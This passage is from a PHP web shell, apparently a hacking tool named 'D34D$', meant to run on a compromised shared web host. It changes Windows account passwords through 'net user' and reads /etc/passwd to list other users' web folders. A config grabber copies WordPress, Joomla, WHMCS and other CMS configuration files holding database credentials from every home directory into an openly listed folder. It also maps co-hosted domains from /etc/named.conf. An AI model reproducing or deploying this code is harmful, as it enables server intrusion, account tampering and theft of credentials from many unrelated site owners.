2877$password = "india";
2878$cmd_cek_user = shell_exec("net user");
2879 if (!empty($username)){
2880 if(preg_match("/$username/", $cmd_cek_user)){
2881 $cmd_add_user = shell_exec("net user ".$username." india123");
2882 if($cmd_add_user){
2883 echo $gaya_root."[change password]-> (".$username."|".$password.") <font color='greenyellow'>Succeed</font>".$o;
2884 }else {
2885 echo $gaya_root."[change password]-> (".$username."|".$password.") <font color='red'>Faild</font>".$o;
2886 }
2887 }else
2888{
2889 echo $gaya_root."[Message]-> <font color='red'>Username is not found in server</font>".$o;
2890}
2891}else
2892{
2893 echo $gaya_root."[Message]-> <font color='red'>You Frogot to Enter a username that will delete</font>".$o;
2894}
2895}
2896}
2897}
2898echo"</pre>
2899</body>
2900</html>";
2901
2902printFooter();
2903}
2904
2905 function actionJumping()
2906{ printHeader();
2907echo '<html><head><title>'.getenv("HTTP_HOST").' - Jumping Server</title></head><body>';
2908($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<font size="4" color="#000000" face="Calibri"><b>Error: Safe_mode = On</b></font>');
2909set_time_limit(0);@$passwd = fopen('/etc/passwd','r');if (!$passwd) { die('<font size="4" color="#e5e5e5" face="Calibri"><b>[-] Error : Coudn`t Read /etc/passwd</b></font>'); }
2910$pub = array();$users = array();$conf = array();$i = 0;while(!feof($passwd)){$str = fgets($passwd);if ($i > 100){ $pos = strpos($str,':'); $username = substr($str,0,$pos); $dirz = '/home/'.$username.'/public_html/'; if (($username != '')) { if (is_readable($dirz)) { array_push($users,$username); array_push($pub,$dirz); }}}$i++;}
2911echo '<font color=red> [-]==================[ Jumping ]==================[-]<br></font>';
2912foreach ($users as $user){echo "<font color=#a3e956> [+] /home/$user/public_html/</font><br/>";} echo "\n <font color=red><br>[-]==================[DONE NOW FUCK OFF!]==================[-] <br></font>\n"; echo '</body></html>';
2913printFooter();
2914}
2915function actionSubdomain() {
2916 printHeader();
2917 error_reporting(0);
2918$user = get_current_user();
2919$open = opendir('/home/' . $user . '/access-logs/');
2920while ($dir = readdir($open)) {
2921 $totalDoamin[] = $dir;
2922}
2923closedir($open);
2924$total = count($totalDoamin);
2925$domain = $total - 2;
2926if ($domain > 0) {
2927 echo "<h2><b><font style=\"color: #a3e956 ;\" > Total </font><font style=\"color: #a3e956; \">" . $domain . "</font><font style=\"color: #a3e956;\" > Sub Domain Found! </font><br><BR>";
2928} else {
2929 echo "<h2><b> <font color='Blue' style=\"color: blue; text-shadow: red 0px 0px 4px ; \">0</font><font style=\"color: #black; text-shadow: black 0px 0px 6px ;\"> Sub Domain Found! </font><br><BR>";
2930}
2931$scan = array_diff(scandir('/home/' . $user . '/access-logs/'), array('.'));
2932$domains = implode("
2933http://", $scan);
2934echo '
2935<style>
2936body {
2937 text-align: center;
2938 }
2939 </style><textarea style="color: #a3e956; background-color: black" rows=\'30\' cols=\'100\'>';
2940print_r($domains);
2941echo '</textarea>';
2942 printFooter();
2943}
2944function actionConfigGrabber() {
2945 printHeader();
2946 error_reporting(0);
2947system('mkdir D34Ds');
2948 chmod('D34Ds', 0777);
2949$users = file("/etc/passwd");
2950 $lolx = array();
2951 foreach ($users as $user) {
2952 $users = explode(":", $user);
2953 $lolx[] = $users[0];
2954 }
2955 foreach ($lolx as $lol) {
2956 $space = "
2957
2958" . "*" . "
2959" . "*" . "
2960" . "*" . "
2961
2962";
2963 if (file_exists('/home/' . $lol . 'public_html/portal/configuration.php')) {
2964 $content = file_get_contents('/home/' . $lol . 'public_html/portal/configuration.php');
2965 $handle = fopen('D34D$/whm.txt', 'a');
2966 fwrite($handle, $content . $space);
2967 fclose($handle);
2968 } elseif (file_exists('/home/' . $lol . '/public_html/inc/config.php')) {
2969 $content1 = file_get_contents('/home/' . $lol . '/public_html/inc/config.php');
2970 $handle = fopen('D34D$/config.txt', 'a');
2971 fwrite($handle, $content . $space);
2972 fclose($handle);
2973 } elseif (file_exists('/home/' . $lol . '/public_html/sites/default/settings.php')) {
2974 $content2 = file_get_contents('/home/' . $lol . '/public_html/sites/default/settings.php');
2975 $handle = fopen('D34D$/config.txt', 'a');
2976 fwrite($handle, $content2 . $space);
2977 fclose($handle);
2978 } elseif (file_exists('/home/' . $lol . '/public_html/includes/configure.php')) {
2979 $content3 = file_get_contents('/home/' . $lol . '/public_html/includes/configure.php');
2980 $handle = fopen('D34D$/config.txt', 'a');
2981 fwrite($handle, $content3 . $space);
2982 fclose($handle);
2983 } elseif (file_exists('/home/' . $lol . '/public_html/lib/config.php')) {
2984 $content4 = file_get_contents('/home/' . $lol . '/public_html/lib/config.php');
2985 $handle = fopen('D34D$/config.txt', 'a');
2986 fwrite($handle, $content4 . $space);
2987 fclose($handle);
2988 } elseif (file_exists('/home/' . $lol . '/public_html/config/koneksi.php')) {
2989 $content5 = file_get_contents('/home/' . $lol . '/public_html/config/koneksi.php');
2990 $handle = fopen('D34D$/config.txt', 'a');
2991 fwrite($handle, $content5 . $space);
2992 fclose($handle);
2993 } elseif (file_exists('/home/' . $lol . '/public_html/vb/includes/config.php')) {
2994 $content6 = file_get_contents('/home/' . $lol . '/public_html/vb/includes/config.php');
2995 $handle = fopen('D34D$/config.txt', 'a');
2996 fwrite($handle, $content6 . $space);
2997 fclose($handle);
2998 } elseif (file_exists('/home/' . $lol . '/public_html/includes/config.php')) {
2999 $content7 = file_get_contents('/home/' . $lol . '/public_html/includes/config.php');
3000 $handle = fopen('D34D$/config.txt', 'a');
3001 fwrite($handle, $content7 . $space);
3002 fclose($handle);
3003 } elseif (file_exists('/home/' . $lol . '/public_html/forum/includes/config.php')) {
3004 $content8 = file_get_contents('/home/' . $lol . '/public_html/forum/includes/config.php');
3005 $handle = fopen('D34D$/config.txt', 'a');
3006 fwrite($handle, $content8 . $space);
3007 fclose($handle);
3008 } elseif (file_exists('/home/' . $lol . '/public_html/cc/includes/config.php')) {
3009 $content9 = file_get_contents('/home/' . $lol . '/public_html/cc/includes/config.php');
3010 $handle = fopen('D34D$/config.txt', 'a');
3011 fwrite($handle, $content9 . $space);
3012 fclose($handle);
3013 } elseif (file_exists('/home/' . $lol . '/public_html/config.php')) {
3014 $content10 = file_get_contents('/home/' . $lol . '/public_html/config.php');
3015 $handle = fopen('D34D$/config.txt', 'a');
3016 fwrite($handle, $content10 . $space);
3017 fclose($handle);
3018 } elseif (file_exists('/home/' . $lol . '/public_html/forum/includes/config.php')) {
3019 $content11 = file_get_contents('/home/' . $lol . '/public_html/forum/includes/config.php');
3020 $handle = fopen('D34D$/config.txt', 'a');
3021 fwrite($handle, $content11 . $space);
3022 fclose($handle);
3023 } elseif (file_exists('/home/' . $lol . '/public_html/wp-config.php')) {
3024 $content12 = file_get_contents('/home/' . $lol . '/public_html/wp-config.php');
3025 $handle = fopen('D34D$/config.txt', 'a');
3026 fwrite($handle, $content12 . $space);
3027 fclose($handle);
3028 } elseif (file_exists('/home/' . $lol . '/public_html/blog/wp-config.php')) {
3029 $content13 = file_get_contents('/home/' . $lol . '/public_html/blog/wp-config.php');
3030 $handle = fopen('D34D$/config.txt', 'a');
3031 fwrite($handle, $content13 . $space);
3032 fclose($handle);
3033 } elseif (file_exists('/home/' . $lol . '/public_html/wp/wp-config.php')) {
3034 $content14 = file_get_contents('/home/' . $lol . '/public_html/wp/wp-config.php');
3035 $handle = fopen('D34D$/config.txt', 'a');
3036 fwrite($handle, $content14 . $space);
3037 fclose($handle);
3038 } elseif (file_exists('/home/' . $lol . '/public_html/home/wp-config.php')) {
3039 $content15 = file_get_contents('/home/' . $lol . '/public_html/home/wp-config.php');
3040 $handle = fopen('D34D$/config.txt', 'a');
3041 fwrite($handle, $content15 . $space);
3042 fclose($handle);
3043 } elseif (file_exists('/home/' . $lol . '/public_html/wp-config.php')) {
3044 $content16 = file_get_contents('/home/' . $lol . '/public_html/wp-config.php');
3045 $handle = fopen('D34D$/config.txt', 'a');
3046 fwrite($handle, $content16 . $space);
3047 fclose($handle);
3048 } elseif (file_exists('/home/' . $lol . '/public_html/main/wp-config.php')) {
3049 $content17 = file_get_contents('/home/' . $lol . '/public_html/main/wp-config.php');
3050 $handle = fopen('D34D$/config.txt', 'a');
3051 fwrite($handle, $content17 . $space);
3052 fclose($handle);
3053 } elseif (file_exists('/home/' . $lol . '/public_html/site/wp-config.php')) {
3054 $content18 = file_get_contents('/home/' . $lol . '/public_html/site/wp-config.php');
3055 $handle = fopen('D34D$/config.txt', 'a');
3056 fwrite($handle, $content18 . $space);
3057 fclose($handle);
3058 } elseif (file_exists('/home/' . $lol . '/public_html/configuration.php')) {
3059 $content19 = file_get_contents('/home/' . $lol . '/public_html/configuration.php');
3060 $handle = fopen('D34D$/config.txt', 'a');
3061 fwrite($handle, $content19 . $space);
3062 fclose($handle);
3063 } elseif (file_exists('/home/' . $lol . '/public_html/blog/configuration.php')) {
3064 $content20 = file_get_contents('/home/' . $lol . '/public_html/blog/configuration.php');
3065 $handle = fopen('D34D$/config.txt', 'a');
3066 fwrite($handle, $content20 . $space);
3067 fclose($handle);
3068 } elseif (file_exists('/home/' . $lol . '/public_html/joomla/configuration.php')) {
3069 $content21 = file_get_contents('/home/' . $lol . '/public_html/joomla/configuration.php');
3070 $handle = fopen('D34D$/config.txt', 'a');
3071 fwrite($handle, $content21 . $space);
3072 fclose($handle);
3073 } elseif (file_exists('/home/' . $lol . '/public_html/main/configuration.php')) {
3074 $content22 = file_get_contents('/home/' . $lol . '/public_html/main/configuration.php');
3075 $handle = fopen('D34D$/config.txt', 'a');
3076 fwrite($handle, $content22 . $space);
3077 fclose($handle);
3078 } elseif (file_exists('/home/' . $lol . '/public_html/home/configuration.php')) {
3079 $content23 = file_get_contents('/home/' . $lol . '/public_html/home/configuration.php');
3080 $handle = fopen('D34D$/config.txt', 'a');
3081 fwrite($handle, $content23 . $space);
3082 fclose($handle);
3083 } elseif (file_exists('/home/' . $lol . '/public_html/site/configuration.php')) {
3084 $content24 = file_get_contents('/home/' . $lol . '/public_html/site/configuration.php');
3085 $handle = fopen('D34D$/config.txt', 'a');
3086 fwrite($handle, $content24 . $space);
3087 fclose($handle);
3088 } elseif (file_exists('/home/' . $lol . '/public_html/whm/configuration.php')) {
3089 $content25 = file_get_contents('/home/' . $lol . '/public_html/whm/configuration.php');
3090 $handle = fopen('D34D$/config.txt', 'a');
3091 fwrite($handle, $content25 . $space);
3092 fclose($handle);
3093 } elseif (file_exists('/home/' . $lol . '/public_html/whmc/configuration.php')) {
3094 $content26 = file_get_contents('/home/' . $lol . '/public_html/whmc/configuration.php');
3095 $handle = fopen('D34D$/config.txt', 'a');
3096 fwrite($handle, $content26 . $space);
3097 fclose($handle);
3098 } elseif (file_exists('/home/' . $lol . '/public_html/support/configuration.php')) {
3099 $content27 = file_get_contents('/home/' . $lol . '/public_html/support/configuration.php');
3100 $handle = fopen('D34D$/config.txt', 'a');
3101 fwrite($handle, $content27 . $space);
3102 fclose($handle);
3103 } elseif (file_exists('/home/' . $lol . '/public_html/client/configuration.php')) {
3104 $content28 = file_get_contents('/home/' . $lol . '/public_html/client/configuration.php');
3105 $handle = fopen('D34D$/config.txt', 'a');
3106 fwrite($handle, $content28 . $space);
3107 fclose($handle);
3108 } elseif (file_exists('/home/' . $lol . '/public_html/billings/configuration.php')) {
3109 $content29 = file_get_contents('/home/' . $lol . '/public_html/billings/configuration.php');
3110 $handle = fopen('D34D$/config.txt', 'a');
3111 fwrite($handle, $content29 . $space);
3112 fclose($handle);
3113 } elseif (file_exists('/home/' . $lol . '/public_html/billing/configuration.php')) {
3114 $content30 = file_get_contents('/home/' . $lol . '/public_html/billing/configuration.php');
3115 $handle = fopen('D34D$/config.txt', 'a');
3116 fwrite($handle, $content30 . $space);
3117 fclose($handle);
3118 } elseif (file_exists('/home/' . $lol . '/public_html/clients/configuration.php')) {
3119 $content31 = file_get_contents('/home/' . $lol . '/public_html/clients/configuration.php');
3120 $handle = fopen('D34D$/config.txt', 'a');
3121 fwrite($handle, $content31 . $space);
3122 fclose($handle);
3123 } elseif (file_exists('/home/' . $lol . '/public_html/whmcs/configuration.php')) {
3124 $content32 = file_get_contents('/home/' . $lol . '/public_html/whmcs/configuration.php');
3125 $handle = fopen('D34D$/config.txt', 'a');
3126 fwrite($handle, $content32 . $space);
3127 fclose($handle);
3128 } elseif (file_exists('/home/' . $lol . '/public_html/order/configuration.php')) {
3129 $content33 = file_get_contents('/home/' . $lol . '/public_html/order/configuration.php');
3130 $handle = fopen('D34D$/config.txt', 'a');
3131 fwrite($handle, $content33 . $space);
3132 fclose($handle);
3133 } elseif (file_exists('/home/' . $lol . '/public_html/admin/conf.php')) {
3134 $content34 = file_get_contents('/home/' . $lol . '/public_html/admin/conf.php');
3135 $handle = fopen('D34D$/config.txt', 'a');
3136 fwrite($handle, $content34 . $space);
3137 fclose($handle);
3138 } elseif (file_exists('/home/' . $lol . '/public_html/admin/config.php')) {
3139 $content35 = file_get_contents('/home/' . $lol . '/public_html/admin/config.php');
3140 $handle = fopen('D34D$/config.txt', 'a');
3141 fwrite($handle, $content35 . $space);
3142 fclose($handle);
3143 } elseif (file_exists('/home/' . $lol . '/public_html/conf_global.php')) {
3144 $content36 = file_get_contents('/home/' . $lol . '/public_html/conf_global.php');
3145 $handle = fopen('D34D$/config.txt', 'a');
3146 fwrite($handle, $content36 . $space);
3147 fclose($handle);
3148 } elseif (file_exists('/home/' . $lol . '/public_html/include/db.php')) {
3149 $content37 = file_get_contents('/home/' . $lol . '/public_html/include/db.php');
3150 $handle = fopen('D34D$/config.txt', 'a');
3151 fwrite($handle, $content37 . $space);
3152 fclose($handle);
3153 } elseif (file_exists('/home/' . $lol . '/public_html/connect.php')) {
3154 $content38 = file_get_contents('/home/' . $lol . '/public_html/connect.php');
3155 $handle = fopen('D34D$/config.txt', 'a');
3156 fwrite($handle, $content38 . $space);
3157 fclose($handle);
3158 } elseif (file_exists('/home/' . $lol . '/public_html/mk_conf.php')) {
3159 $content39 = file_get_contents('/home/' . $lol . '/public_html/mk_conf.php');
3160 $handle = fopen('D34D$/config.txt', 'a');
3161 fwrite($handle, $content39 . $space);
3162 fclose($handle);
3163 } elseif (file_exists('/home/' . $lol . '/public_html/include/config.php')) {
3164 $content40 = file_get_contents('/home/' . $lol . '/public_html/include/config.php');
3165 $handle = fopen('D34D$/config.txt', 'a');
3166 fwrite($handle, $content40 . $space);
3167 fclose($handle);
3168 } elseif (file_exists('/home/' . $lol . '/public_html/settings.php')) {
3169 $content41 = file_get_contents('/home/' . $lol . '/public_html/settings.php');
3170 $handle = fopen('D34D$/config.txt', 'a');
3171 fwrite($handle, $content41 . $space);
3172 fclose($handle);
3173 } elseif (file_exists('/home/' . $lol . '/public_html/includes/functions.php')) {
3174 $content42 = file_get_contents('/home/' . $lol . '/public_html/includes/functions.php');
3175 $handle = fopen('D34D$/config.txt', 'a');
3176 fwrite($handle, $content42 . $space);
3177 fclose($handle);
3178 } elseif (file_exists('/home/' . $lol . '/public_html/include/db.php')) {
3179 $content43 = file_get_contents('/home/' . $lol . '/public_html/include/db.php');
3180 $handle = fopen('D34D$/config.txt', 'a');
3181 fwrite($handle, $content43 . $space);
3182 fclose($handle);
3183 }
3184 }
3185 $url = 'http://' . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . '/D34D$/';
3186 if (file_exists("D34D$/config.txt")) {
3187 echo '<h3 class="D34D$"><center><a href="' . $url . '" target="_blank"> Config Found ^_^</a></h3>';
3188 $myfile = fopen("D34D$/.htaccess", "w") or die("Unable to open file!");
3189$txt = "Options +Indexes";
3190fwrite($myfile, $txt);
3191fclose($myfile);
3192 } else {
3193 echo '<h3 class="D34D$"><center><a href="' . $url . '" target="_blank"> 0 Config Grab BC </a></h3>';
3194 }
3195
3196 printFooter();
3197}
3198
3199function actionShared() {
3200 printHeader();
3201 $file = @implode(@file("/etc/named.conf"));
3202if (!$file) {
3203die("# can't ReaD -> [ /etc/named.conf ]");
3204}
3205preg_match_all("#named/(.*?).db#", $file, $r);
3206$domains = array_unique($r[1]);
3207{
3208foreach ($domains as $domain) {
3209$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
3210$array= "http://$domain " . $user['name'] . "<br>";
3211$lol= '' . get_current_user();
3212if (strpos($array, "$lol") !== false) {
3213$shared = str_replace(array(" $lol"), "", $array);
3214echo "<center>$shared";
3215}
3216}
3217}
3218 printFooter();
3219}
3220
3221if( empty($_POST['a']) )
3222 if(isset($default_action) && function_exists('action' . $default_action))
3223 $_POST['a'] = $default_action;
3224 else
3225 $_POST['a'] = 'SecInfo';
3226if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
3227 call_user_func('action' . $_POST['a'])
3228?>